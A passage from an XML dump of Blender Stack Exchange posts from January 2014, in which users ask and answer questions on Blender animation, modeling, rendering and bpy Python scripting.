Data&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Apply Visual Transform&lt;/em&gt; make their actual rotation the same as the constrained rotation.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Then remove the constraints:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove the constraint from one by pressing the X on the constraint in &lt;em&gt;Properties &amp;gt; Constraints&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy it to the others with &lt;em&gt;3D View &amp;gt; Header &amp;gt; Object &amp;gt; Constraints &amp;gt; Copy Constraints to Selected Objects&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-01-29T20:55:14.013" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6622" PostTypeId="1" AcceptedAnswerId="6623" CreationDate="2014-01-29T20:56:12.540" Score="7" ViewCount="1334" Body="&lt;p&gt;In the VSE, I have a scene strip, but I cannot change the opacity.  It just snaps back to the last value it was keyframed at as soon as I alter it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Blender 2.69)&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2016-05-11T10:55:24.573" Title="Can't change opacity of scene strip in Video Sequence Editor" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6623" PostTypeId="2" ParentId="6622" CreationDate="2014-01-29T20:56:12.540" Score="12" Body="&lt;p&gt;This is already a &lt;a href=&quot;https://developer.blender.org/T32890&quot; rel=&quot;noreferrer&quot;&gt;known issue&lt;/a&gt; that is on the To Do list for the VSE.  I'm posting this Q&amp;amp;A because it took me a long time to come across the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As explained in the above bug report, in order to keyframe a scene clip, you must turn off the preview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qtyls.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2014-01-29T20:56:12.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6624" PostTypeId="2" ParentId="6602" CreationDate="2014-01-29T21:21:26.447" Score="1" Body="&lt;p&gt;Try this: Extrude your outline to create a &quot;flat topped&quot; shape. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch to a side view and create a curve that describes the peak at the &quot;stroke cross&quot; the way you're visualizing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extrude your profile view curve along the horizontal axis to create a shape that intersects and contains your logo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Boolean intersect.&lt;/p&gt;&#xA;" OwnerUserId="2288" LastActivityDate="2014-01-29T21:21:26.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6625" PostTypeId="1" AcceptedAnswerId="6642" CreationDate="2014-01-30T00:16:59.477" Score="1" ViewCount="2495" Body="&lt;p&gt;After I import &quot;Images As Planes&quot; (using addon) I would like to place the images in front of the camera like a rostrum, making the corners match the camera frame. Or perform the best fit of the height or sides if the images are a different shape (vertical aspect).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I can set the camera to orthographic and this fixes the relative dimensions on z axis, but I want to make a objects initial scale or position fill the camera view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way I can always return to a 1:1 relationship without borders or overshoot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;USAGE:&#xA;This is helpful when creating layers of images or movies that you may want to animate in 3D view (relative to each other) but allocate to layers for actual compositing.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-11-29T19:07:40.050" Title="Can I constrain an object size to Camera angle of view?" Tags="&lt;workflow&gt;&lt;compositor&gt;&lt;objects&gt;&lt;camera&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6627" PostTypeId="2" ParentId="6625" CreationDate="2014-01-30T03:30:35.750" Score="0" Body="&lt;p&gt;It seems that the easiest solutions was to conform the scales so they all match up at 3D space Origin point, 0,0,0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I import an image that measures x=1920, y=1080 use the Import Images as Planes addon and set the Plane Dimensions variable to Dots/BU (this matches the longest side-edge or height) to  a single Blender Unit. In this case I would make it 1920.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The camera should be set to orthographic (scale 1.0) and placed at 1 BU above the Image Plane object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A render will match perfectly. For off aspect images choose the width measurement&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-01-30T03:30:35.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6628" PostTypeId="1" AcceptedAnswerId="6629" CreationDate="2014-01-30T04:19:23.377" Score="2" ViewCount="2569" Body="&lt;p&gt;i have this 3D model here &lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lAxdM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know which is the best way to model a low poly coat like this one&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SxwzP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user2087" LastActivityDate="2014-01-30T06:57:51.567" Title="Which is the best way to model a low poly coat?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="3" ClosedDate="2014-01-30T12:12:03.693" ContentLicense="CC BY-SA 3.0" />
  <row Id="6629" PostTypeId="2" ParentId="6628" CreationDate="2014-01-30T05:24:53.723" Score="12" Body="&lt;p&gt;For low poly clothes you could start by blocking out the shape with just vertices and edges. Begin with a simple plane delete two vertices, add a mirror modifier and start extruding vertices around your model with &lt;kbd&gt;E&lt;/kbd&gt; and connecting vertices with &lt;kbd&gt;F&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/HIemOyR.png&quot; alt=&quot;Imgur&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when you get something like in the picture, you can start connecting those edges and pairs of vertices to make faces around your model using &lt;kbd&gt;F&lt;/kbd&gt; in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/5oJJECT.png&quot; alt=&quot;Imgur&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you get a simple geometry that works you can add loops to refine the model with &lt;kbd&gt;Ctrl+R&lt;/kbd&gt;. Then you can add a solidify modifier and play with the thickness parameter to give volume to the cloth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the details as it's a low poly model you'd have to texture them, but you can simplify the process by sculpting first then baking the results and applying a normal map or displacement map to get volume.&lt;/p&gt;&#xA;" OwnerUserId="2300" LastEditorUserId="2300" LastEditDate="2014-01-30T06:57:51.567" LastActivityDate="2014-01-30T06:57:51.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6630" PostTypeId="1" AcceptedAnswerId="6636" CreationDate="2014-01-30T07:13:55.600" Score="5" ViewCount="10806" Body="&lt;p&gt;What is the easiest/fastest way to move a keyframe to a specific frame?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, is there a way to type in an absolute frame value with modal numinput (which uses the delta by default)? E.g. type &lt;kbd&gt;G&lt;/kbd&gt;&lt;code&gt;140&lt;/code&gt; to move a keyframe to frame &lt;code&gt;140&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-01-31T07:47:25.863" Title="Is there a quick way to move a keyframe to a specific frame?" Tags="&lt;animation&gt;&lt;workflow&gt;&lt;dopesheet&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6631" PostTypeId="2" ParentId="6630" CreationDate="2014-01-30T09:02:12.693" Score="5" Body="&lt;p&gt;I think that the best you can do is type the preferred frame into the Timeline 'Current frame' field then apply a Snap to (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;) frame function on the selected Keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be neat to have another snap to function as you suggest to reduce the amount of mouse clicks involved.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="599" LastEditDate="2014-01-31T01:16:05.737" LastActivityDate="2014-01-31T01:16:05.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6632" PostTypeId="1" CreationDate="2014-01-30T09:30:50.673" Score="4" ViewCount="3433" Body="&lt;p&gt;I made a 3D model of a girl from a game I play and I have the hair all set up, but it's flat on the ends and I don't know how to fix that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OzbcW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zWzTI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="1829" LastEditDate="2014-01-30T22:01:14.830" LastActivityDate="2014-01-30T22:01:14.830" Title="Make ends of hair mesh sharp" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6633" PostTypeId="2" ParentId="6630" CreationDate="2014-01-30T09:33:46.297" Score="2" Body="&lt;p&gt;What you can do is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Open a new editor window and set it to the &lt;em&gt;Action Editor&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go the Top of the &lt;em&gt;Action Editor&lt;/em&gt; and select the frame you want to move.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;G&lt;/kbd&gt; and click where you want it to be.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="599" LastEditDate="2014-01-31T07:47:25.863" LastActivityDate="2014-01-31T07:47:25.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6634" PostTypeId="2" ParentId="6632" CreationDate="2014-01-30T10:06:41.160" Score="2" Body="&lt;h1&gt;BI&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Reduce the value of &lt;em&gt;Tip&lt;/em&gt; to in the hair material under &lt;em&gt;Materials &gt; Strand &gt; Size&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PzS2w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Again decrease the value of &lt;em&gt;Tip&lt;/em&gt;, but in &lt;em&gt;Particle Settings &gt; Cycles Hair Rendering&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VttQk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-01-30T10:06:41.160" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="6635" PostTypeId="1" CreationDate="2014-01-30T11:17:51.673" Score="2" ViewCount="958" Body="&lt;p&gt;I am trying to import jpg-images in Blender (Blender 2.69). I am using Multitexture and a Nvidia Quadro FX 1500. I am using the Add-on &quot;Import Images as Planes&quot;. But I have a problem. The images aren't always displayed properly. Shown in the screenshots below. (They are so blurry because I exported them in low quality.) When importing the images I don't have also the options mentioned in &lt;a href=&quot;https://blender.stackexchange.com/questions/1003/importing-png-series-with-import-image-as-plane-is-blurred-and-has-artefacts&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To show my problem I imported the same images twice in Blender: &lt;img src=&quot;https://i.stack.imgur.com/k8gqa.jpg&quot; alt=&quot;imported&quot;&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't scale or transformed them (yet). I want to transform them later on. If they get blurry or so I don't care. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I start the gaming engine I get following results, (they are completely random, sometimes both are right or wrong or 1 is correct and the other is strange). I tried png-images but with the same result. I also didn't change the viewport between those screenshots:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/P3AkT.jpg&quot; alt=&quot;screen1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mmbV7.jpg&quot; alt=&quot;screen2&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Rpfc3.jpg&quot; alt=&quot;screen3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea, what causes this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addition:&#xA;I was able to test it on another PC. On that it was displayed correctly. So I guess it is a hardware problem. Are there any settings I could change to make it work?&lt;/p&gt;&#xA;" OwnerUserId="2302" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-01-31T12:53:06.937" Title="Problems with Import images as planes. Display behaves randomly(artifacts)" Tags="&lt;texturing&gt;&lt;game-engine&gt;&lt;add-on&gt;&lt;image&gt;&lt;import&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2014-02-03T11:40:09.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="6636" PostTypeId="2" ParentId="6630" CreationDate="2014-01-30T11:39:02.827" Score="5" Body="&lt;p&gt;In the latest development version (after official 2.69), you can type with math, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;kbd&gt;G&lt;/kbd&gt;&lt;code&gt;target_frame&lt;/code&gt;&lt;kbd&gt;-&lt;/kbd&gt;&lt;code&gt;current_frame&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;e.g.:&lt;/strong&gt; If you want to move keyframe from 120 to 140, you can type &lt;kbd&gt;G&lt;/kbd&gt;&lt;code&gt;140&lt;/code&gt;&lt;kbd&gt;-&lt;/kbd&gt;&lt;code&gt;120&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; it also supports copy/paste feature, which means, you can &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; on the current frame number displayed on Timeline header, then &lt;kbd&gt;G&lt;/kbd&gt;&lt;code&gt;140&lt;/code&gt;&lt;kbd&gt;-&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt;), which makes it relatively quicker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But indeed, a one-stop method may be useful here.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-01-30T17:00:38.763" LastActivityDate="2014-01-30T17:00:38.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6637" PostTypeId="1" AcceptedAnswerId="6639" CreationDate="2014-01-30T12:45:05.593" Score="0" ViewCount="349" Body="&lt;p&gt;I trying to render an image/animation using Amazon EC2, but Cycles rendering fails with this message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fra:1 Mem:17.09M (0.00M, Peak 17.09M) | Mem:0.00M, Peak:0.00M | Scene,&#xA;RenderLayer | Synchronizing object | Cube Illegal instruction (core&#xA;dumped)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For testing I used the Blender default scene, I only changed the rendering engine to Cycles. (To make sure it,s not some advanced feature that is broken).&#xA;Using the default Blender Renderer seems to work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed the current version of Blender according to &lt;a href=&quot;https://askubuntu.com/questions/339634/downloading-latest-blender-version-from-ppa/&quot;&gt;this instruction&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I start rendering using this command :  &lt;code&gt;blender -noaudio -b test.blend -f 1&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the default version of Blender (2.66) works for the default scene, but is not compatible with the scene I want to render (results in empty images). I would prefer to render using 2.69 instead of converting my scene for compatibility with 2.66.&lt;/p&gt;&#xA;" OwnerUserId="1396" LastEditorUserId="-1" LastEditDate="2017-04-13T12:23:02.757" LastActivityDate="2014-01-30T13:38:40.253" Title="Blender Cycles 2.69 on Ubuntu Server 13.10 64bit" Tags="&lt;cycles-render-engine&gt;&lt;linux&gt;&lt;versions&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-01-30T20:26:37.050" ContentLicense="CC BY-SA 3.0" />
  <row Id="6638" PostTypeId="1" AcceptedAnswerId="6640" CreationDate="2014-01-30T13:06:59.360" Score="2" ViewCount="363" Body="&lt;p&gt;I think that the question is pretty straightforward. I been trying to do it by my self for a while but I'm stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the script I've made:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import random&#xA;&#xA;for i in bpy.data.objects:&#xA;    i.types.FModifiers.phase = random.random*5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... which of course fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastEditorUserId="12" LastEditDate="2014-01-30T15:45:46.887" LastActivityDate="2014-01-30T15:45:46.887" Title="How to assign random numbers to phase value for all noise F-Curves modifiers?" Tags="&lt;python&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6639" PostTypeId="2" ParentId="6637" CreationDate="2014-01-30T13:38:40.253" Score="0" Body="&lt;p&gt;I figured out a way to get it to work:&#xA;Instead of using the launchpad version I downloaded the GNU/Linux version from Blender site. Using this version Cycles works fine.&lt;/p&gt;&#xA;" OwnerUserId="1396" LastActivityDate="2014-01-30T13:38:40.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6640" PostTypeId="2" ParentId="6638" CreationDate="2014-01-30T14:15:01.320" Score="3" Body="&lt;p&gt;Explained in the inline comments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from random import random&#xA;&#xA;# Only selected (thus visible), editable objects&#xA;# bpy.data.objects would affect all objects in all scenes!&#xA;for ob in bpy.context.selected_editable_objects:&#xA;&#xA;    # OPTIONAL: Ignore object types other than mesh&#xA;    if ob.type != 'MESH':&#xA;        continue&#xA;&#xA;    # Is there an animation?&#xA;    if ob.animation_data is not None and ob.animation_data.action is not None:&#xA;        action = ob.animation_data.action&#xA;&#xA;        # Iterate over all F-Curves&#xA;        for fcu in action.fcurves:&#xA;&#xA;            # Iterate over all F-Curve modifiers&#xA;            for mod in fcu.modifiers:&#xA;&#xA;                # Only act upon Noise modifiers&#xA;                if mod.type == 'NOISE':&#xA;                    mod.phase = random() * 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-01-30T14:15:01.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6641" PostTypeId="1" AcceptedAnswerId="6643" CreationDate="2014-01-30T14:20:47.550" Score="4" ViewCount="1333" Body="&lt;p&gt;I am currently trying to make an import script that generates an animation on a camera. The animation requires that the values for the left and right keyframe handles be set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't find a way to set handle values explicitly, so I have tried to use &lt;code&gt;bpy.ops.graph.select_border&lt;/code&gt; to select the keyframe handle that I want to set and then use &lt;code&gt;bpy.ops.transform.translate&lt;/code&gt; to set it into place, however when I try to do this from my import operator, I get a RuntimeError saying &lt;strong&gt;context is incorrect&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if the x and y handle values for an FCurve keyframe can be set from Python?&lt;/p&gt;&#xA;" OwnerUserId="2210" LastActivityDate="2016-08-07T21:49:00.417" Title="Change FCurve handles from Python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6642" PostTypeId="2" ParentId="6625" CreationDate="2014-01-30T14:31:18.520" Score="6" Body="&lt;p&gt;Actually, it can be done with both perspective and orthographic cameras. I would like to suggest the universal way, which needn't any reset on the current camera transformation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rTQqG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;For &lt;strong&gt;Perspective&lt;/strong&gt; camera:&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;strong&gt;Import Image as Planes&lt;/strong&gt; and &lt;strong&gt;Simple Align&lt;/strong&gt; in Addon list.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Import the target image as plane. When importing, Choose Dots/BU as &lt;em&gt;Plane dimensions&lt;/em&gt;, and set the longest side of the image as &lt;em&gt;Definition&lt;/em&gt; value. For example, if the image resolution is 1920 px x 1080 px, then you should type in &lt;code&gt;1920&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the render resolution the same as image, to set the correct perspective for camera.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the plane selected, hold &lt;kbd&gt;Shift&lt;/kbd&gt; to further select the camera, then find &lt;strong&gt;Simple Align&lt;/strong&gt; tool in the Tool Shelf, click &lt;strong&gt;XYZ&lt;/strong&gt; button to align both rotation and location of the plane to the camera. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the plane only, then input like this: &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;=&lt;/kbd&gt;&lt;kbd&gt;-&lt;/kbd&gt;&lt;code&gt;focal_length&lt;/code&gt;&lt;kbd&gt;/&lt;/kbd&gt;&lt;code&gt;sensor_size&lt;/code&gt;. For example, if the focal length of camera is 35, and sensor size is 32, then press &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;=&lt;/kbd&gt;&lt;kbd&gt;-&lt;/kbd&gt;&lt;code&gt;35&lt;/code&gt;&lt;kbd&gt;/&lt;/kbd&gt;&lt;code&gt;32&lt;/code&gt;. Then you'll get what you want.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;For &lt;strong&gt;Orthographic&lt;/strong&gt; camera:&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As above.&lt;/li&gt;&#xA;&lt;li&gt;As above.&lt;/li&gt;&#xA;&lt;li&gt;As above.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As above.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the plane only, then input like this:&#xA;&lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;=&lt;/kbd&gt;&lt;kbd&gt;-&lt;/kbd&gt;&lt;code&gt;ortho_scale&lt;/code&gt;&lt;kbd&gt;/&lt;/kbd&gt;&lt;code&gt;2&lt;/code&gt;. For example, if ortho_scale=8, you should input &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;=&lt;/kbd&gt;&lt;kbd&gt;-&lt;/kbd&gt;&lt;code&gt;8&lt;/code&gt;&lt;kbd&gt;/&lt;/kbd&gt;&lt;code&gt;2&lt;/code&gt;. Then &lt;kbd&gt;Tab&lt;/kbd&gt; into &lt;strong&gt;Edit Mode&lt;/strong&gt;, &lt;kbd&gt;S&lt;/kbd&gt;&lt;code&gt;8&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.:&lt;/strong&gt; Doing math while transforming is only available in Blender 2.70+. However, you can do the math elsewhere out of Blender, and paste the result in.  &lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-05-27T13:50:13.173" LastActivityDate="2014-05-27T13:50:13.173" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6643" PostTypeId="2" ParentId="6641" CreationDate="2014-01-30T15:23:25.430" Score="6" Body="&lt;p&gt;You will find it here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;action=bpy.data.actions['yourAction']&#xA;#or&#xA;action=bpy.data.objects['yourObject'].animation_data.action&#xA;#&#xA;action.fcurves[fcurve_index].keyframe_points[kf_index].left_handle&#xA;action.fcurves[fcurve_index].keyframe_points[kf_index].right_handle&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can easily explore blender's data structures with the outliner using the &lt;em&gt;datablocks&lt;/em&gt; option and the interactive python console using autocompletion (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Space&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you hover over properties in the editor with python tooltips enabled it often will show you the path to the property.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Hint:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If the object has not been animated yet and thus &lt;code&gt;animation_data&lt;/code&gt; is &lt;code&gt;None&lt;/code&gt;, use the object's method &lt;code&gt;animation_data_create&lt;/code&gt; to create it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Afterwards assign an existing action to &lt;code&gt;animation_data.action&lt;/code&gt; or create a new one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;action=bpy.data.actions.new('Your Name')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Note to the developers of blender:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In this case the path shown in the graph editor is abbreviated &lt;code&gt;bpy.data.objects...left_handle&lt;/code&gt; and it is not possible to right click -&gt; copy data path. So the hint shown is kind of useless.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="-1" LastEditDate="2016-08-07T21:49:00.417" LastActivityDate="2016-08-07T21:49:00.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6644" PostTypeId="1" CreationDate="2014-01-30T19:21:15.127" Score="8" ViewCount="4735" Body="&lt;p&gt;I have a reflective object and I want it to reflect only light and not the surrounding objects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have moved it to Layer &lt;code&gt;2&lt;/code&gt;, but it still reflects the objects from layer &lt;code&gt;1&lt;/code&gt;. What should I do to prevent objects on Layer &lt;code&gt;1&lt;/code&gt; from casting reflections on objects in Layer &lt;code&gt;2&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="2140" LastEditorUserId="2217" LastEditDate="2014-05-07T14:04:32.313" LastActivityDate="2014-05-07T14:04:32.313" Title="Remove reflection of one object from another object?" Tags="&lt;compositor&gt;&lt;layers&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6645" PostTypeId="1" CreationDate="2014-01-30T19:36:42.230" Score="0" ViewCount="30" Body="&lt;p&gt;I finished the mesh but went i try to smooth it i got a rare black shadow :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3D viewport - no smooth&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/icbEf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3D viewport -  smooth&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S1bXm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render - smooth&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lD4hJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render - no smooth&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img 